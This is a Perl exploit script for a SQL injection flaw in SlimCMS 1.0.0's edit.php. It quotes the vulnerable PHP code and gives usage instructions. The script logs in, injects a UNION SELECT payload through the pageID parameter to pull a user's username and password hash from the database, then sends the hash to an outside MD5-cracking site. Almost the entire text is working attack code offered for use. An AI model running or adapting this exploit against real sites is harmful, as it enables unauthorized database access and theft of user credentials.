#!/usr/bin/perl
=starting
--------------------------------------------------------
SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit
--------------------------------------------------------
by athos - staker[at]hotmail[dot]it
download on sourceforge
File edit.php
111. if ($password == md5($_POST['password']))
112. {
113. if (strlen($_POST['cmsText']) > 2) {
114. $query = "UPDATE pages SET title = '".$_POST['pageTitle']."', content = '".
strip_tags(stripslashes($_POST['cmsText']),$allowedTags)."' WHERE ID = ".$_GET['pageID'];
115. mysql_query($query);
116. //$successfulyUpdated
117. responseText = $successfulyUpdated;
118. }
119.
120. if (strlen($_GET['pageID']) > 0) {
121. $query = "SELECT * FROM pages WHERE ID = ".$_GET['pageID'];
122. $result = mysql_query($query);
123.
124.
125. while($row = mysql_fetch_array($result)) {
126. $pageTitle = $row['title'];
127. $pageContent = $row['content'];
128. }
129. }
NOTE: Works Regardless PHP.ini Settings!
you must be logged..
Usage: perl "exploit.pl" [HOST] [username:password] [USER_ID]
Output: Username: athos
Password: 27e43424d53719a645ae7cca038b45be
=cut
use strict;
use LWP::UserAgent;
use LWP::Simple;
my $match = q{Editing page "(.+?)"};
my $http = new LWP::UserAgent;
my $post = undef;
my @login = ();
my @out = ();
my ($host,$auth,$myid) = @ARGV;
unless($host =~ /http:\/\/(.+?)$/i && $auth && $myid)
{
print STDOUT "Usage: perl $0 [host/path] [username:password] [id]\r\n";
exit;
}
$host .= "/edit.php?pageID=-1 union select 1,concat(username,0x3a,password),3,4 from users where id=$myid#";
@login = split(':',$auth);
$post = $http->post($host,[
username => $login[0],
password => $login[1],
]);
if($post->is_success && $post->content =~ $match)
{
@out = split(':',$1);
if($#out => 2)
{
my $cracked = search_MD5($out[1]);
print STDOUT "Username: $out[0]\r\n";
print STDOUT "Password: $out[1] -> $cracked\r\n";
exit;
}
else
{
print STDOUT "Exploit Failed!\r\n";
print STDOUT "Login incorrect or site not vulnerable\\available!\r\n";
exit;
}
}
sub search_MD5
{
my $hash = shift @_;
my $cont = undef;
$cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
if(length($hash) => 32 && !is_error($cont))
{
return $cont;
}
else
{
return exit;
}
}
__END__